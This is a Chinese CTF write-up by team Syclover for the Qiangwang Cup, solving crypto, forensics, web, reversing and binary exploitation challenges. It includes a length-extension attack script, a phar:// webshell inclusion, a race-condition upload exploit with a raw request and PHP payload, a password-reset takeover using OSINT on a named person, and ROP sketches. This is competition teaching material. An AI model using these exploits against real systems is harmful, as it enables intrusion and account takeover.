0×00 强网杯解题报告
Team:Syclover
前两周的比赛,做完之后因为有考试什么的所以就一直也没放上来,现在更新一下,这个比赛的其他writeup在bobao360也有。
多更新更新博客,能和好多人交流,hoho~
0×01 密码
old-fashion 100
Os drnuzearyuwn, y jtkjzoztzoes douwlr oj y ilzwex eq lsdexosa kn pwodw tsozj eq ufyoszlbz yrl rlufydlx pozw douwlrzlbz, ydderxosa ze y rlatfyr jnjzli; mjy gfbmw vla xy wbfnsy symmyew (mjy vrwm qrvvrf), hlbew rd symmyew, mebhsymw rd symmyew, vbomgeyw rd mjy lxrzy, lfk wr dremj. Mjy eyqybzye kyqbhjyew mjy myom xa hyedrevbfn lf bfzyewy wgxwmbmgmbrf. Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l
提示是古典密码,其实这里分成了两句了,以;分隔
http://www.quipqiup.com/index.php
这个网站可以解,分成两段解
In cryptography, a substitution cipher is a method of encoding by which units of plaintext are replaced with ciphertext, according to a regular system; the units may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing an inverse substitution. So the flag is n1_2hen-d3_hu1-mi-ma_a
Flag就是n1_2hen-d3_hu1-mi-ma_a
salt 300
读脚本发现url的参数是用字典类型存储的,key相同的参数会被后面的覆盖掉。
于是构造/login?username=admin&password=1&password=123456即可通过第二种验证方式。
但是第二种方式还需要url的mac,而服务器给出的mac会有7位被替换成x,无法直接得到mac。
google后发现此题符合长度扩展攻击的条件,于是枚举mac中的7个x,通过hashpumpy库计算出扩展的mac,和服务器给出的mac对比,即可爆破出正确的mac。
最后需要碰碰运气,当遇到服务器给出第二种验证方式时,发送url和爆出的mac即可得到flag。
#!/usr/bin/python import socket import subprocess import sys from hashpumpy import hashpump s = socket.socket() #s.connect(("127.0.0.1",4444)) s.connect(("119.254.101.197",10004)) s.recv(1024) #welcome info def gethash(u,p): s.recv(1024) #create count? s.send("Y\n") s.recv(1024) #input user: s.send(u+"\n") s.recv(1024) #input pass: s.send(p+"\n") return s.recv(1024) index = 0L def keepalive(): global index print "keepalive:",gethash("123",str(index)) index += 1 #h1 = "194ce5d0b89c47ff6b30bfb491f9dc26" h1 = gethash("1","1")[:-1] l1 = list(h1) h2 = gethash("1","1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01`&password=123456&username=admin")[:-1] def ver(): global h2 hashstr = ''.join([i for i in l1]) ret = hashpump(hashstr,\ '/login?username=1&password=1',\ '&password=123456&username=admin',\ 16) #ret = ("a"*40,213) sig = ret[0] for i in range(40): if h2[i] == 'x':continue if h2[i] != sig[i]:return False print "--------------------" print "sig:",sig return sig xnum = 7 progress = 0 def dfs(depth): if depth == xnum: global progress progress += 1 if progress & 0x7ffff ==0: print progress keepalive() sig = ver() #sig = False if sig!=False: print s.recv(1024)#create account? s.send("n\n") ques = s.recv(1024)#input url: if ques.find('1')!=-1: print "bad luck" sys.exit() s.send("/login?username=1&password=1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01`&password=123456&username=admin") print s.recv(1024)#input sig: s.send(sig) print s.recv(1024)#flag sys.exit() else: return pos = l1.index('x') for i in range(16): l1[pos] = format(i,'x') dfs(depth+1) l1[pos] = 'x' def main(): dfs(0) print 'fail' if __name__=="__main__": main()
0×02 取证与隐写
repartition 200
http://pan.baidu.com/s/1mgKfnDY 提取码: nshy 下下来
file命令 看disk.img这个镜像
disk.img: x86 boot sector; partition 1: ID=0x7, starthead 32, startsector 2048, 276480 sectors; partition 2: ID=0x7, starthead 86, startsector 278528, 337920 sectors, code offset 0x0
我们尝试恢复他丢失的文件,使用的是Eassos PartitionGuru Professional
Disk——open virtual disk——选择我们的img文件 把文件映射成虚拟磁盘
Tools——recover lost file 恢复丢失的文件
在pass这个文件夹发现了有两个文件,尝试提取出来
发现了secret.rar正是那个描述的加密压缩的rar文件
看看secretepass.txt,发现是一些没有意义的字符
看题目的描述就是被大文件覆盖了,我们来winhex来看看这个img
在文件里搜一下Flag.txt 可以找到rar的块
到$MFT里去找找,这里会有分区中的所有文件的记录
往前往后翻翻,就可以发现secretepass.txt的块
http://blog.csdn.net/a00553344/article/details/5039884
这篇文章中有$mft的说明,按着他来就行了
发现了这个,梅花香自苦寒来 是段有意义的
尝试一下,发现正是密码
flag{ch0n9x1n_f3n9u-fu_g41_yebu4nquan}
broken 300
http://match.erangelab.com/dl/broken.img.26c6f34421861784fd0c53f4ce708d99
下载下来是个img的
用linux的file命令看一下,是一个x86 boot sector, mkdosfs boot message display
发现是一个系统,尝试用vm来加载它
启动后发现是这样子的
然后我们使用badcopy来修复一下
发现了有FLAG这个文件,尝试提取出来
Winhex打开可以发现,前8byte都被修改成了00
但是IHDR是PNG格式图片的一个块,可以判断这就是一个png图片,把前8byte先修复了
89504E470D0A1A0A
再看到结尾,发现也没有IEND这个块,也修复了
49454E44AE426082
倒数8byte
图片的IDAT块只有一块,计算一下IDAT的长度可以知道是刚刚好的到IEND的。并没有插入其他的数据在文件结尾。
打开图片看看
发现是这样子的,并没有其他的东西了,可以去看各个颜色通道,也并没有发现什么类似与lsb的东西。
其实秘密藏在了IDAT块之中啊。写了一个python脚本,用来计算IDAT块的内容。
#encoding: utf-8 import zlib import binascii import struct filepath = "./FLAG" binfile = open(filepath,'rb') IDAT = binfile.read()[894:-16] binfile.close() RGB = binascii.hexlify(zlib.decompress(IDAT)) PIXEL = len(RGB) / 2 / 3 #2:ff=256 3:RGB print "pixel:"+str(PIXEL) height = PIXEL / int("320", 16) #320:width hex print "height:"+str(height) print "height hex:"+hex(height)[2:] height = struct.pack('>i', height) IHDR = '\x49\x48\x44\x52\x00\x00\x03\x20'+height+'\x08\x02\x00\x00\x00' print "IHDR:"+IHDR.encode("hex") CRC32 = hex(binascii.crc32(IHDR) & 0xffffffff)[2:-1] print "CRC32:"+CRC32
可以看到实际的像数点是360150
是要超过了显示的800*400=320000的
结果计算,假设是只修改了高度,那么我们可以计算出正常的高度应该是450,hex是1c2
尝试着按照IHAR来修改,修改01 90 为01 c2
按照CRC32来修改,把D9479363改为98013a9f
flag{me1_m3ng-x1an9-he_yu3n-f3a9}
这个题的坑点主要就是在于修改了高度居然连crc32的校验也改为正确的,不好发现信息隐藏的地方。
0×03 Web渗透
最好的语言 100
大家都说 PHP 是世界上最好的语言,你也这么认为吗?
服务器请访问 http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php
http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php.bak
<?php //TODO: connect to DB $id = $_GET['id']; //TODO: sqli filter $secretId = 1024; if($id == $secretId){ echo 'Invalid id ('.$id.').'; } else{ $query = 'SELECT * FROM notes WHERE id = \''.$id.'\';'; $result = mysql_query($query,$conn); $row = mysql_fetch_assoc($result); echo "notes: ".$row['notes']."</br>"; } ?>
应该是PHP和MySQL不同精度的问题,解法:
http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php?id=1024.000000000001
flag{php_is_so_awesome_ever_ever_ever###}
俳句自动打分系统
先上传文件,发现有一枚文件包含漏洞
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=[File Include]
读取index.php
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=php://filter/read=convert.base64-encode/resource=index
<?php $p = $_REQUEST['page']; if($p == "") { $p = "main"; } $haq = "嫿æåï¼å¥½å¥½å俳å¥ãæè®¤ççã"; if(strstr($p,"..") !== FALSE) die("<pre>$haq</pre>"); if(stristr($p,"tp") !== FALSE) die("<pre>$haq</pre>"); if(stristr($p,"ip") !== FALSE) die("<pre>$haq</pre>"); if(strlen($p) >= 60) die("<pre>string > 60 $haq</pre>"); $inc = sprintf("%s.php",$p); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>ä¿³å¥æå</title> <!-- Bootstrap --> <link href="css/bootstrap.min.css" rel="stylesheet"> <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body style="background-color: #00b0c0;"> <center> <h1>ææå¨çä¿³å¥æå</h1> <br /> <br /> <br /> <?php include($inc); ?> </center> <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <script src="js/jquery.min.js"></script> <!-- Include all compiled plugins (below), or include individual files as needed --> <script src="js/bootstrap.min.js"></script> </body> </html>
读取view.php
<?php $txt = $_REQUEST['id']; if($txt == "" || $txt == "random") { $txtname = "already/" . rand(1,14) . ".txt"; } else $txtname = "upload_paiju/" . $txt . ".txt"; $f = file_get_contents($txtname); echo '<pre>' . $f . '</pre>'; echo '<pre>æçæåæ¯: ' . (int)md5($f)%100 . '</pre>'; ?>
读取upload.php
<?php function RandomString() { $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $randstring = ""; for ($i = 0; $i < 16; $i++) { $randstring .= $characters[rand(0, strlen($characters)-1)]; } return $randstring; } $target_dir = "/usr/share/nginx/html/13152f79f9264731da9fa16846449d80/upload_paiju/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 0; $imageFileType = pathinfo($target_file,PATHINFO_EXTENSION); $fsize = $_FILES['fileToUpload']['size']; $newid = RandomString(); $newname = $newid . ".txt"; if(isset($_POST["submit"])) { if($imageFileType == "txt") { $uploadOk = 1; } else { echo "<p>䏿¯è¯´å¥½çåªè½ä¸ä¼ TXTå</p>"; $uploadOk = 0; } if(!($fsize >= 0 && $fsize <= 200000)) { $uploadOk = 0; echo "<p>ä¿³å¥æä¹å¯è½é£ä¹å¤§ï¼</p>"; } } if($uploadOk) { $newpath = "/usr/share/nginx/html/13152f79f9264731da9fa16846449d80/upload_paiju/" . $newname; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $newpath)) { echo "ççä½ ç俳å¥è½å¾å¤å°åï¼ <a href='index.php?page=view&id=" . $newid."'>æ¥ç</a>"; } else { echo "<p>åºéå¦ï¼ä½ å¨ä¹±æä»ä¹åï¼</p>"; } } ?>
可以看出,index.php的文件包含必须是.php的后缀,而我们只能传.txt后缀的文件
这里通过zip/phar/rar等伪协议可以绕过,这里我选了phar://
先通过标准Phar打包
<?php $p = new PharData(dirname(__FILE__).'/a.zip', 0,'phartest',Phar::ZIP); $p->addFromString('a.php', file_get_contents('shell.txt')); ?>
shell.txt里面是后门代码
上传上去后通过phar协议包含拿到shell
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=phar://upload_paiju/lbKyq9AsnruCZ911.txt/a
读取open_basedir
open_basedir: /usr/share/nginx/html/:/tmp/:/srv/
在/srv/目录下找到FLAG文件
FLAG{wo_ceng_jing_kua_guo_shan_he_da_han,ye_chuan_guo_ren_shan_ren_hai}
Tech-Blog
是利用Flask-Blog搭建的博客,一开始猜测是要代码审计,于是就去看commit log,寻找修补漏洞的地方
我在白盒测得时候,队友已经通过黑盒测试找到了一处任意密码重置漏洞,只需要知道用户邮箱就可以重置该用户的密码,那么我们只需要知道admin的邮箱即可
经过各种对强网杯邮箱的猜测都不行,后来发现了“王宇直在找工作”这个提示
王宇直应该就是admin,他在找工作,那么应该就能通过简历找到他邮箱了,然后在国内的找工作的网站上找了找,没什么发现,转向国外的LinkedIN,找到了一个叫王宇直的,而且头像还那么二,上海交大妇产科,必定就是这个家伙了
看了下他的联系方式,找到了下面两个东东
http://straigt_wang.com http://blog.163.com/straight_wang
用过网易博客的都知道,开通博客的格式 http://blog.163.com/[Username]
那么应该就有 [email protected] 的邮箱了
去163注册确认了下,这个邮箱是存在的
那么我们通过这个邮箱去重置密码,成功修改了admin的密码
进入后台后,查看Secret,是一个任意文件读取的地方
简单的对Linux进行信息收集,在/etc/hosts里面得到了提示
119.254.101.197 wang-yu-zhi-de-guan-li-hou-tai #port 22234
修改本地hosts,访问目标,是一个秘密后台,有一处任意文件包含漏洞,可以直接获取源码
?page=php://filter/read=convert.base64-encode/resource=main.php
通过该漏洞读取到了main.php 和 upload.php的源代码
然而不能下载 index.php 的,但是目标系统是Windows,利用 index.ph< 下载即可
审计源码,构造表单上传文件
然而上传上去后就会立即删除掉,猜测要利用时间竞争,利用脚本如下
exp.py
#!/usr/bin/python # -*- coding: utf-8 -*- import socket, re, time import urllib2 host = "119.254.101.197" port = 22234 def send(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(8) s.connect((host, port)) time.sleep(0.2) data = open('exp').read() s.send(data) time.sleep(0.2) resp = s.recv(8192) s.close() return resp print send() while True: resp = send() url = re.findall(r'uploads/(.*)<', resp)[0] url = "http://wang-yu-zhi-de-guan-li-hou-tai:22234/?x=c:/inetpub/&page=upload</" + url print url print urllib2.urlopen(url).read() time.sleep(3)
exp:
POST /index.php?page=upload.php HTTP/1.1 Host: wang-yu-zhi-de-guan-li-hou-tai:22234 User-Agent: wonderful_and_secret_brower_ever Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://wang-yu-zhi-de-guan-li-hou-tai:22234/?page=main.ph%3C Connection: keep-alive Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=---------------------------1470534513268 Content-Length: 903 -----------------------------1470534513268 Content-Disposition: form-data; name="fileToUpload"; filename="lala.txt" Content-Type: text/plain <?php function dir_path($path) { $path = str_replace('\\', '/', $path); if (substr($path, -1) != '/') $path = $path . '/'; return $path; } function dir_list($path, $exts = '', $list = array()) { $path = dir_path($path); $files = glob($path . '*'); foreach($files as $v) { if (!$exts || preg_match("/\.($exts)/i", $v)) { $list[] = $v; if (is_dir($v)) { $list = dir_list($v, $exts, $list); } } } return $list; } $r = dir_list($_GET['x']); printf("<pre>%s</pre>\n", var_export($r , true)); echo file_get_cotents("c:/inetpub/temp/Are_you_OK"); ?> -----------------------------1470534513268 Content-Disposition: form-data; name="submit" Upload -----------------------------1470534513268--
通过不断的列目录,找到一个可疑的文件:C:/inetpub/temp/Are_you_OK
通过包含漏洞读取该文件,拿到Flag
0×04 逆向工程
flag-checker 100
观察后发现题目给的等式是有规律的,可以按照a0 a1…a46的顺序依次计算,每次计算都是一个一元一次方程。依次解出即可得到flag
#!/usr/bin/python from sympy import Symbol from sympy.solvers import solve a = [] def main(): for i in range(50): exec("a"+str(i)+"=Symbol('a"+str(i)+"')") a.append(Symbol("a"+str(i))) f = open("2.txt","r") i = 0 for ln in f: if len(ln)<4:continue n = ln[:-2] n = n.replace("=","-(") n += ')' n = n.replace('[','') n = n.replace(']','') #print n exec("eq = "+n) ans = solve(eq,a[i])[0] exec("a"+str(i)+"=ans") if ans>128 or ans<15: print chr(ans%128), else: print chr(ans%128), i += 1 if __name__=="__main__": main()
keygen 200
原始字符串改变顺序存放
在下面这个表中遍历,如果是字符的数字就是直接赋值,如果是非字符,就用v16对应下标的字符,得到一个新字符串
; char byte_6018E0[] .data:00000000006018E0 byte_6018E0 db 2 ; DATA XREF: sub_400B56+1BEr .data:00000000006018E0 ; sub_400B56+1D8r ... .data:00000000006018E1 db 34h ; 4 .data:00000000006018E2 db 5 .data:00000000006018E3 db 33h ; 3 .data:00000000006018E4 db 6 .data:00000000006018E5 db 39h ; 9 .data:00000000006018E6 db 0 .data:00000000006018E7 db 31h ; 1 .data:00000000006018E8 db 1 .data:00000000006018E9 db 37h ; 7 .data:00000000006018EA db 3 .data:00000000006018EB db 32h ; 2 .data:00000000006018EC db 4 .data:00000000006018ED db 30h ; 0 .data:00000000006018EE db 7 .data:00000000006018EF db 32h ; 2
新字符串求MD5,得到的MD5字符串中每一位转换成对应ascii码10进制数字,并删除所有0
原字符串中第4、9、14、19是’-’
得到的字符串中5-12位与原字符串中15 12 18 0 6 8 5 3位比较验证,最后计算得到5234-5171-901b-5de5-hijk是一个可以通过验证的,修改最后4位可以得到9个不同的sn
0×05 溢出利用
guess 100
程序使用了scanf(“%s”,…),比较明显的栈溢出来,可以在4次比较正确后成功控制栈。输入后面可以加\x00来控制正确的比较以及构建后面的ret2read_file。
中间可以用最后一个scanf来作为传入参数的设置。参数地址固定在0x0804a100
urldecoder 200
溢出点:前面的sub_8048720输入是0xa作为结尾的,在sub_8048800的strlen()是以0×00来判断结尾的,其中可以通过%来控制处理字符串的指针。 构造一个”%\x00″ 这样来绕过for循环的判断就可以溢出栈了。
sub_8048720
sub_8048800
之后就是构造rop链了。
gadget1:用puts随意泄露一个函数的地址可以算出基地址,重新回到0x080485f0再一次控制栈.
gadget2:用gets向可写地址写入”sh”,然后返回system来拿到shell.
FROM :appleu0.sinaapp.com | Author:appleu0
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论